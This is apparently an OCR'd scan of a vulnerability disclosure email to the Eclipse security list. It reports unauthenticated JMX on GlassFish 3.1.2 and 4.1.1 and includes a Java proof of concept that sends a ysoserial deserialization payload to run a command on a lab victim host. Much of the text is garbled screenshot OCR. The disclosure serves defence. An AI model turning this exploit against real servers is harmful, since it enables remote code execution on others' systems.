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G M 7 I I Wayne Beaton <wayne.beaton@eclipse-foundation.org>

by LK v.xgl\'

[security] GlassFish 3.1.2 and GlassFish 4.1.1 has Remote Code Execution
vulnerable

root 4dm <r0Ot4dm@gmail.com> Thu, Mar 5, 2020 at 8:01 PM
Reply-To: Security Issues <security@eclipse.org>
To: security@eclipse.org

Hi Oracle,

| Found about GlassFish 3.1.2. and GlassFish 4.1.1 Default environment not have JMX authentication.

| download GlassFish 3.1.2 and GlassFish 4.1.1 in:
GlassFish 3.1.2 :https://download.oracle.com/glassfish/3.1.2/release/index.html

GlassFish 4.1.1:https://download.oracle.com/glassfish/4.1.1/release/index.html

glassfish-3.1.2-web-ml.zip X

E https://download.oracle.com/glassfish/3.1.2/release/glassfish-3.1.2-web-ml.zip

ZIP

1 Finder R &R

glassfish-4.1.1.zip X
E https://download.oracle.com/glassfish/4.1.1/release/glassfish-4.1.1.zip

z1p

1£ Finder R &7

Both applications run on Windows using JDK7.

| was started two virtual machine.

attack IP: 10.211.55.4
victim IP: 10.211.55.5

first unzip GlassFish 3.1.2 in victim and running...
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glassfish3\glassfish\bin

BFR

asadmin
asadmin.bat
asupgrade
asupgrade.bat
jspc

jspc.bat
startserv
startserv.bat
stopserv

stopserv.bat

& C:\Windows\system32\cmd.exe

me=main; |Running GlassFish Ver n: Glas
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feadID=33;_Thr
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sh Server Open

INFO|g
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ad(1) ;
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sFish Server Open Source Edition 3.1.2 (build 2

(. ente

Framew

. 2| javax. ent
Edition 3. 1.

. system. core. com. sun. enterpri
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.46 started
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2012/2/14 11:50
2012/2/14 12:04
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2012/2/14 11:50
2012/2/14 11:50
2012/2/14 11:50
2012/2/14 11:50
2012/2/14 11:50

99

em. core. com. sun. enterpris
46 started in: 16ms - bound

. system. core. com. sun. enterpr
.46 started in: 16ms - bour

>ore. com.

.enterpri rvices. impl|_Th
16 started in: s #
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bound 0.0.0.0:8181] |#
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stem. core. com. sun. enterpris
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Threadl
10. 21

as we can see the GlassFish 3.1.2 startup finish. and The GlassFish 3.1.2 default open the JMX port 8686.

in default, JMX port 8686 is Unauthorized!

GlassFish 3.1.2 POC:
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=] ) Wingows 1U{no patc!

©® localhost:8

Parallels.
Shares

— . GlassFish Server 3.1.2

Calculstor S o)
= standard B ) Your server is now running
e file
0 & local host with the default administration port,
Get Oracle GlassFish Server with Premier Support
MM s
CE c a
software P
Yx x = 5 Use the Up and update add technologies and fra h
7 8 9 X
4 5 6 i e Update Tool to obtain technologies th
1 2 3 +
2 0 =

The GlassFish 4.1.1 is same to GlassFish 3.1.2.

startup GlassFish Server 4.1.1.

)46+0900 | INFO
e=800: Me

i

0900
|
s

280+0900

@ GlassFish Server - Server Runr X +

< C  ©® localhost:8080 & %

Your server is now running

To replace this page, overwrite the file «.html in the document root folder of this server. The document root folder for this server is the sul
server's domain directory.

To manage a server on the local host with the default administration port, go to the Administration Console
Join the GlassFish community
Visit the G! nity page for information about how to join the GlassFish community. The GlassFish community is developing an open source,

quality, enterprise-class application server that implements the newest features of the Java™ Platform, Enterprise Edition (Java EE) platform and related ¢
technologies

Learn more about GlassFish Server

For more information about GlassFish Server, samples, documentation, and additional resources, see as-install/ ¢ ak .html, where as-install is t

Attack success!
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M = Standard

7 8
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1 2

About JMXInvokeMBean code:

package com.rOOt4dm;
import ysoserial.payloads.ObjectPayload;

https://mail.google.com/mail/u/0?ik=7f1f75f631&...

@ GlassFish Server - Serv

€ C @ localhost:8080

GlassFish Server

Your server is now running

the local host with the default administration port, go 1o the Administiation Cons

Join the GlassFish community

ormation about how to join the Glas

K mmunity. The Glass
that implements the nevest feature

ava™ Platform, Ent

Learn more about GlassFish Server

or more information about GlassFish Server, samples, documentation
Server installation directory

import javax.management.MBeanServerConnection;

import javax.management.ObjectName;

import javax.management.remote.JMXConnector;

import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

import javax.naming.Context;
import java.util. Hashtable;

public class JIMXInvokeMBean {

public static void main(String[] args) throws Exception {

String ip = "10.211.55.5";

String port = "8686";

String payload_type = "Jdk7u21";
String cmd = "calc";

Hashtable env = new Hashtable();

String[] credentials = new String[] {"admin", "

adminadmin"};

1 env.put(JMXConnector. CREDENTIALS,credentials);

JMXServiceURL url = new JMXServiceURL("service:jmx:rmi://[jndi/rmi:/[" + ip +

M+ port + "/jmxrmi");

JMXConnector jmxConnector = JMXConnectorFactory.connect(url,env);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();

/I create the payload

Object payloadObject = ObjectPayload.Utils.makePayloadObject(payload_type, cmd);
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
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mbeanServerConnection.invoke(mbeanName, "getLoggerLevel”, new Object[[{payloadObject}, new
String[[{String.class.getCanonicalName()});

/[close the connection
jmxConnector.close();

}

Final, | have Two Suggestions:

1. | promise | Download GlassFish Server from the official website. But Why GlassFish Server default

not initialized Password. | think When GlassFish startup, You can initialized default Password in Server,
and Save the password as a file in the application directory.

2. Of course you Don't Need To initialized Password in Server, But | think You can disable JMX protocol in
default.

Thanks,

root4dm.

security mailing list

security@eclipse.org

To change your delivery options, retrieve your password, or unsubscribe from this list, visit
https://lwww.eclipse.org/mailman/listinfo/security
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